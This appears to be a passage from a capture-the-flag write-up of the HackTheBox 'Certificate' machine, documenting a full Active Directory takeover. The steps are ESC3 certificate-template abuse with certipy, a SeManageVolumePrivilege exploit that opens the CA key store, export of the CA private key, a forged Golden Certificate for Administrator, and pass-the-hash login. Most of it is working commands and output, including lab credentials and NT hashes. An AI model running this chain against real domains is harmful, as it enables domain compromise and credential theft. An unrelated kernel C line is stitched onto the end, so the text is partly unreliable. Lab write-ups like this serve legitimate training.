      "CA Name": "Certificate-LTD-CA",
      "DNS Name": "DC01.certificate.htb",
      "Certificate Subject": "CN=Certificate-LTD-CA, DC=certificate, DC=htb",
      "Certificate Serial Number": "75B2F4BBF31F108945147B466131BDCA",
      "Certificate Validity Start": "2024-11-03 22:55:09+00:00",
      "Certificate Validity End": "2034-11-03 23:05:09+00:00",
      "Web Enrollment": {
        "http": {
          "enabled": false
        },
        "https": {
          "enabled": false,
          "channel_binding": null
        }
      },
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
      "Permissions": {
        "Owner": "CERTIFICATE.HTB\\Administrators",
        "Access Rights": {
          "1": [
            "CERTIFICATE.HTB\\Administrators",
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "2": [
            "CERTIFICATE.HTB\\Administrators",
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "512": [
            "CERTIFICATE.HTB\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "Delegated-CRA",
      "Display Name": "Delegated-CRA",
      "Certificate Authorities": [
        "Certificate-LTD-CA"
      ],
      "Enabled": true,
      "Client Authentication": false,
      "Enrollment Agent": true,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        33554432,
        67108864,
        536870912,
        2147483648
      ],
      "Enrollment Flag": [
        1,
        8,
        32
      ],
      "Private Key Flag": [
        16
      ],
      "Extended Key Usage": [
        "Certificate Request Agent"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Schema Version": 2,
      "Validity Period": "1 year",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Template Created": "2024-11-05 19:52:09+00:00",
      "Template Last Modified": "2024-11-05 19:52:10+00:00",
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "CERTIFICATE.HTB\\Domain CRA Managers",
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "CERTIFICATE.HTB\\Administrator",
          "Full Control Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Property Enroll": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "CERTIFICATE.HTB\\Domain CRA Managers"
      ],
      "[!] Vulnerabilities": {
        "ESC3": "Template has Certificate Request Agent EKU set."
      }
    }
  }
}

This certipy report confirms a critical misconfiguration on the Delegated-CRA template that allows for ESC3 exploitation.

ESC3

ESC3 is a critical Active Directory Certificate Services (AD CS) misconfiguration where an attacker can abuse a Certificate Request Agent (CRA) template to impersonate any domain user.

In Windows environments:

  • Certificate Request Agents can enroll for certificates on behalf of other users
  • This is intended for smartcard deployment, helpdesk automation, etc.
  • If abused, it allows an attacker to request a certificate for other privileged users and authenticate as them

Our environment (based on certipy find):

  • CA Name: Certificate-LTD-CA
  • Vulnerable Template: Delegated-CRA
  • Vulnerability: ESC3 : Template has Certificate Request Agent EKU set.
  • User Enrollable: CERTIFICATE.HTB\Domain CRA Managers

Since lion.sk is in the Domain CRA Managers group, we can abuse this. This means we can forge a certificate for a high-privileged user like administrator, impersonate them via PKINIT, and gain full domain privileges.

1. Target Template

For the victim target template, it should meet:

  • Has Client Authentication EKU (or similar),
  • Is Schema Version 1 or lacks restrictions for agent-based enrollment,
  • Allows our target user to enroll.

We need a template other than Delegated-CRA (template 0), which only allows enrollment for:

"[+] User Enrollable Principals": [
	"CERTIFICATE.HTB\\Domain CRA Managers"
],

Since lion.sk is the only member of Domain CRA Managers, we need to locate a second template usable against other users.

Bash
certipy find \
    -u 'lion.sk' -p '!QAZ2wsx' \
    -target 'dc01.certificate.htb' -dc-ip $target_ip

The output shows that template 1 (SignedUser) is an ideal ESC3 target:

JSON
"1": {
  "Template Name": "SignedUser",
  "Display Name": "Signed User",
  "Certificate Authorities": [
    "Certificate-LTD-CA"
  ],
  "Enabled": true,
  "Client Authentication": true,
  "Enrollment Agent": false,
  "Any Purpose": false,
  "Enrollee Supplies Subject": false,
  "Certificate Name Flag": [
    33554432,
    67108864,
    536870912,
    2147483648
  ],
  "Enrollment Flag": [
    1,
    8,
    32
  ],
  "Private Key Flag": [
    16
  ],
  "Extended Key Usage": [
    "Client Authentication",
    "Secure Email",
    "Encrypting File System"
  ],
  "Requires Manager Approval": false,
  "Requires Key Archival": false,
  "RA Application Policies": [
    "Certificate Request Agent"
  ],
  "Authorized Signatures Required": 1,
  "Schema Version": 2,
  "Validity Period": "10 years",
  "Renewal Period": "6 weeks",
  "Minimum RSA Key Length": 2048,
  "Template Created": "2024-11-03 23:51:13+00:00",
  "Template Last Modified": "2024-11-03 23:51:14+00:00",
  "Permissions": {
    "Enrollment Permissions": {
      "Enrollment Rights": [
        "CERTIFICATE.HTB\\Domain Admins",
        "CERTIFICATE.HTB\\Domain Users",
        "CERTIFICATE.HTB\\Enterprise Admins"
      ]
    },
    "Object Control Permissions": {
      "Owner": "CERTIFICATE.HTB\\Administrator",
      "Full Control Principals": [
        "CERTIFICATE.HTB\\Domain Admins",
        "CERTIFICATE.HTB\\Enterprise Admins"
      ],
      "Write Owner Principals": [
        "CERTIFICATE.HTB\\Domain Admins",
        "CERTIFICATE.HTB\\Enterprise Admins"
      ],
      "Write Dacl Principals": [
        "CERTIFICATE.HTB\\Domain Admins",
        "CERTIFICATE.HTB\\Enterprise Admins"
      ],
      "Write Property Enroll": [
        "CERTIFICATE.HTB\\Domain Admins",
        "CERTIFICATE.HTB\\Domain Users",
        "CERTIFICATE.HTB\\Enterprise Admins"
      ]
    }
  },
  "[+] User Enrollable Principals": [
    "CERTIFICATE.HTB\\Domain Users"
  ],
  "[*] Remarks": {
    "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template requires a signature with the Certificate Request Agent application policy."
  }
}

This confirms:

SignedUser is agent-signable and usable for impersonation using a Delegated-CRA agent cert.

Our victim pool includes any member of Domain Userstechnically:

"[+] User Enrollable Principals": [
	"CERTIFICATE.HTB\\Domain Users"
]

2. Request A CRA Cert

Request an Enrollment Agent certificate via the Delegated-CRA template:

Bash
certipy req \
  -u 'lion.sk' -p '!QAZ2wsx' \
  -ca 'Certificate-LTD-CA' -target 'dc01.certificate.htb' \
  -template 'Delegated-CRA'

This returns a .pfx file containing the agent certificate:

htb_certificate_25

3. Impersonate

Use the Enrollment Agent cert to request a certificate for the target account, e.g., Administrator:

Bash
certipy req \
  -u '[email protected]' -p '!QAZ2wsx' \
  -dc-ip $target_ip \
  -target 'dc01.certificate.htb' \
  -ca 'Certificate-LTD-CA' \
  -template 'SignedUser' \
  -pfx lion.sk.pfx \
  -on-behalf-of 'CERTIFICATE\Administrator'

But this fails with:

[-] Got error while requesting certificate: code: 0x80094812 - CERTSRV_E_SUBJECT_EMAIL_REQUIRED - The email name is unavailable and cannot be added to the Subject or Subject Alternate name.

This occurs because:

  • The SignedUser template has the Subject Name Requirements configured to require an email address.
  • But the target user (Administrator) has no mail attribute set in AD, so the CA can't fulfill the template's requirements.

Unless we have GenericWrite or DACL control over Administrator, we cannot fulfill the SAN requirement.

Victims

Storage Managers

Since targeting Administrator is blocked by subject constraints, we pivot to other viable users within the Domain Users group.

Antivirus is present on the victim machine, so I tried an enumeration tool that bypasses the detection:

htb_certificate_26

We see Sara.B (Account Operators), Ryan.k, Akeder.kh, and IIS Users (controlled by Sara's GenericAll) have some suspicious local privileges, implying there could be multiple ways to privesc on this machine.

Additionally, during manual review of the enumerated users, we identified ryan.k as a member of a custom group: DOMAIN STORAGE MANAGERS.

htb_certificate_99

This group caught our attention due to its naming structure, which mirrors elevated delegations like DOMAIN CRA MANAGERS. The description reads:

The members of this security group are responsible for volume-level tasks such as maintaining, defragmenting and managing partitions and disks.

While not a built-in group, its association with storage management roles implies potential privileges such as SeManageVolumePrivilege, which is commonly leveraged for direct disk access and low-level manipulation.

ESC3

Following the earlier-established ESC3 exploit chain, we use our CRA cert to impersonate ryan.k:

Bash
certipy req \
  -u '[email protected]' -p '!QAZ2wsx' \
  -dc-ip $target_ip \
  -target 'dc01.certificate.htb' \
  -ca 'Certificate-LTD-CA' \
  -template 'SignedUser' \
  -pfx lion.sk.pfx \
  -on-behalf-of 'CERTIFICATE\ryan.k'

This would work against all normal users:

htb_certificate_28

We then authenticate with the issued cert, resolving KRB_AP_ERR_SKEW via time sync script:

Bash
./ft.sh certificate.htb \
certipy auth -pfx ryan.k.pfx -dc-ip $target_ip

Results:

[*] Certificate identities:
[*]     SAN UPN: '[email protected]'
[*]     Security Extension SID: 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ryan.k.ccache'
[*] Wrote credential cache to 'ryan.k.ccache'
[*] Trying to retrieve NT hash for 'ryan.k'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6

Then connect via NTLM:

Bash
evil-winrm -i certificate.htb -u 'ryan.k' -H 'b1bc3d70e70f4f36b1509a65ae1a2ae6'

Access granted—and ryan.k possesses SeManageVolumePrivilege:

htb_certificate_29

SeManageVolumePrivilege

Overview

As documented by Microsoft, the SeManageVolumePrivilege allows specific volume-level FSCTL operations such as dismounting, defragmenting, or setting valid data length — typically enforced by the file system itself.

In practice, this privilege enables low-level control over the disk, including manipulating access control entries (ACEs) on protected system binaries or key containers, leading to local privilege escalation to SYSTEM.

Security researcher Grzegorz Tworek demonstrated this in a Twitter post, abusing FSCTL_SD_GLOBAL_CHANGE to:

  1. Enable SeManageVolumePrivilege in the token,
  2. Open a handle to \\.\C: with FILE_TRAVERSE | SYNCHRONIZE,
  3. Overwrite ACLs on protected binaries (e.g., utilman.exe) to replace Administrators with Users,
  4. Overwrite those binaries with an arbitrary payload,
  5. Trigger execution from login screen for a SYSTEM shell.

Privesc

We leveraged this PoC to perform the attack on ryan.k, who holds the privilege.

Running the SeManageVolumeExploit.exe silently enables:

htb_certificate_30
  • Full access to protected paths (e.g., System32, MachineKeys),
  • Overwriting or exfiltrating restricted files as a low-privileged user.

According to the author:

We attempt to replace utilman.exe with cmd.exe:

PowerShell
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

Then reboot the system and trigger them from the login screen (e.g., press Shift 5x for Sticky Keys) to spawn a SYSTEM shell.

But GUI access is unavailable in our exploit.

However, this access still allows us to interact with filesystem-restricted SYSTEM resources, such as the Administrator profile directory. While we can't read the flag yet:

htb_certificate_31

We do now have access to escalate further via the GoldenCert attack.

MachineKeys

With SeManageVolumePrivilege, we can modify DACLs across the system volume — including on sensitive key containers stored under:

C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

This's where the private key backing the CA cert lives:

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> dir C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys


Directory: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a--s-        11/3/2024   7:24 PM           2269 46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958
-a--s-        11/3/2024   8:03 PM           2232 6de9cb26d2b98c01ec4e9e8b34824aa2_7989b711-2e3f-4107-9aae-fb8df2e3b958
-a--s-        11/3/2024   8:03 PM           2222 76944fb33636aeddb9590521c2e8815a_7989b711-2e3f-4107-9aae-fb8df2e3b958
-a--s-        11/3/2024   8:03 PM           2241 d6d986f09a1ee04e24c949879fdb506c_7989b711-2e3f-4107-9aae-fb8df2e3b958

BBefore the exploit, we are unable to read ACLs or access these files:

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> Get-ChildItem "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys" | ForEach-Object {
    Write-Host "`n== $($_.Name) =="
    (Get-Acl $_.FullName).Access
}

== 46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958 ==
Attempted to perform an unauthorized operation.
At line:3 char:6
+     (Get-Acl $_.FullName).Access
+      ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Get-Acl], UnauthorizedAccessException
    + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.GetAclCommand

[...]

By abusing SeManageVolumePrivilege, we can:

  • Modify file system permissions on that directory
  • Read or export the private key file associated with the Enterprise CA

After abusing SeManageVolumePrivilege, we again check the ACLs of the MachineKeys:

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> Get-ChildItem "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys" | ForEach-Object {
    Write-Host "`n== $($_.Name) =="
    (Get-Acl $_.FullName).Access
}

== 46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958 ==

FileSystemRights  : FullControl
AccessControlType : Allow
IdentityReference : NT AUTHORITY\SYSTEM
IsInherited       : False
InheritanceFlags  : None
PropagationFlags  : None

FileSystemRights  : FullControl
AccessControlType : Allow
IdentityReference : BUILTIN\Users
IsInherited       : False
InheritanceFlags  : None
PropagationFlags  : None

[...]

The exploit modifies the discretionary access control list (DACL) on the root volume (C:\) or specific sensitive directories (like MachineKeys) by abusing the FSCTL FSCTL_SD_GLOBAL_CHANGE. So the keys become available for us to exfiltrate using certutil -v:

htb_certificate_36

This means we're now able to:

  • Read/copy private key files from MachineKeys
  • Dump certificate material
  • Export/forge certificates → Golden Certificate attack

GoldenCert Attack

The GoldenCert Attack (aka ESC7 abuse) is a powerful Active Directory Certificate Services (ADCS) exploitation technique that allows an attacker to forge valid authentication certificates for any user in the domain — including Domain Admins — by abusing the private key of an Enterprise Certificate Authority (CA).

A Golden Certificate is a forged certificate that is signed by a trusted root CA within the Active Directory environment. Because the CA is trusted for smart card logon / certificate-based authentication, any certificate it signs is implicitly trusted by the domain.

If we manage to obtain the private key of the CA, we can:

  • Forge certificates for any identity (e.g., Administrator, krbtgt, etc.)
  • Use the forged cert to request Kerberos Ticket Granting Tickets (TGTs) via PKINIT
  • Gain full domain access, even without knowing user passwords

Running certutil -store my, we can list certificates stored in the "Personal" store on the machine:

*Evil-WinRM* PS C:\Users\Ryan.K\documents> certutil -store my
my "Personal"

================ Certificate 0 ================
Archived!
Serial Number: 472cb6148184a9894f6d4d2587b1b165
Issuer: CN=certificate-DC01-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:30 PM
 NotAfter: 11/3/2029 3:40 PM
Subject: CN=certificate-DC01-CA, DC=certificate, DC=htb
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Cert Hash(sha1): 82ad1e0c20a332c8d6adac3e5ea243204b85d3a7
  Key Container = certificate-DC01-CA
  Unique container name: 6f761f351ca79dc7b0ee6f07b40ae906_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Provider = Microsoft Software Key Storage Provider
Signature test passed

================ Certificate 1 ================
Serial Number: 5800000002ca70ea4e42f218a6000000000002
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 8:14 PM
 NotAfter: 11/3/2025 8:14 PM
Subject: CN=DC01.certificate.htb
Certificate Template Name (Certificate Type): DomainController
Non-root Certificate
Template: DomainController, Domain Controller
Cert Hash(sha1): 779a97b1d8e492b5bafebc02338845ffdff76ad2
  Key Container = 46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Simple container name: te-DomainController-3ece1f1c-d299-4a4d-be95-efa688b7fee2
  Provider = Microsoft RSA SChannel Cryptographic Provider
Private key is NOT exportable
Encryption test passed

================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
  Key Container = Certificate-LTD-CA
  Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Provider = Microsoft Software Key Storage Provider
Signature test passed
CertUtil: -store command completed successfully.

Focus on Certificate 2 — this is the Enterprise CA's own certificate, responsible for signing all other certificates within the domain. It's the key to crafting a Golden Certificate, and we specifically need its private key.

We now have:

  • A CA certificate: Certificate-LTD-CA
  • With Subject = Issuer → meaning it's self-signed and root-trusted
  • Key Container resolvedUnique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_...
  • Signature test passed — confirms the certificate is valid

This setup gives us everything we need to move forward with GoldenCert forgery and full domain compromise (reference).

1. Export CA Cert / Private Key

PowerShell
certutil -exportPFX my 75b2f4bbf31f108945147b466131bdca ca.pfx
htb_certificate_33

Then download the exported ca.pfx.

2. Forge Cert for Administrator

Forge a certificate for the target principal ([email protected]) using the CA's private key:

Bash
certipy forge \
	-ca-pfx ca.pfx \
	-upn [email protected] \
	-subject 'CN=Administrator,DC=certificate,DC=htb'

This doesn't make any request to the KDC — it simply creates a forged certificate: administrator_forged.pfx:

htb_certificate_34

The generated certificate now includes the User Principal Name (UPN) set to Administrator:

$ openssl pkcs12 -in administrator_forged.pfx \
        -nodes -nokeys \
        | openssl x509 -noout -text \
        | grep -A 1 "Subject Alternative Name"
        
Enter Import Password:
            X509v3 Subject Alternative Name:
                othername: UPN:[email protected]

3. Authenticate

We can now authenticate as Administrator using the forged certificate:

$ ./ft.sh certificate.htb \
certipy auth -pfx administrator_forged.pfx -dc-ip $target_ip

[*] Querying offset from: certificate.htb
[*] faketime -f format: +28801.004412
28801.004412s
[*] Running: certipy auth -pfx administrator_forged.pfx -dc-ip 10.129.133.11
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6

Pass-the-hash with evil-winrm:

Bash
evil-winrm -i certificate.htb -u "Administrator" -H 'd804304519bf0143c14cbf1c024408c6'
htb_certificate_35

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)